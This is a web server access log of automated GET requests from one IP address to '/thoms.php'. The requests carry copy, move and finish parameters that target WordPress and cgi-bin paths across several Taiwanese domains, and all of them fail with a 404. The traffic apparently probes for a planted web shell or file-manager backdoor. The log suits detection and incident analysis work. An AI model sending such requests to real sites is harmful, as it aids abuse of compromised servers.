45.135.193.11 - - [11/Sep/2026:23:53:12 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:12 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:12 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:12 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:12 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:12 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:12 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:12 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:12 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:12 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:12 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bioway88.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bioway88.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:12 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bioway88.com.tw%2Fpartial-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bioway88.com.tw%2Fpartial-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:12 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bioway88.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bioway88.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:12 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bioway88.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bioway88.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:13 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bioway88.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bioway88.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:13 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bioway88.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bioway88.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:13 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:13 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bioway88.com.tw%2Fmember-suspended HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bioway88.com.tw%2Fmember-suspended" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:13 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bioway88.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bioway88.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:13 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:13 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:13 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:13 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:13 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:13 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:13 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:13 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:13 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:13 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:13 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:14 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:14 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:14 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=wp-content%2Fthemes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=wp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:14 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:14 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:14 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bft.com.tw%2Fclient-global HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:14 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bft.com.tw%2Fsync-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:14 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bft.com.tw%2F.tmb HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:14 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bft.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:14 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bft.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:14 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bft.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:14 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bft.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:14 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bft.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:14 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:14 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bogroup.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bogroup.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:14 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bogroup.com.tw%2Fcatalog-build HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bogroup.com.tw%2Fcatalog-build" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:15 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:15 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bogroup.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bogroup.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:15 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bogroup.com.tw%2Flog-seed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bogroup.com.tw%2Flog-seed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:15 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bogroup.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bogroup.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:15 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bogroup.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bogroup.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:15 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:15 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bogroup.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bogroup.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:15 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bogroup.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bogroup.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:15 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:15 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:15 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bossini.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:15 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:15 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bossini.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:15 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bossini.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:15 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:15 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:16 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:16 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:16 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=besth2o.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=besth2o.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:16 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=besth2o.com.tw%2Fsegment-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=besth2o.com.tw%2Fsegment-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:16 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=besth2o.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=besth2o.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:16 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=besth2o.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=besth2o.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:16 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=besth2o.com.tw%2Fwrapper-global HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=besth2o.com.tw%2Fwrapper-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:16 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=besth2o.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=besth2o.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
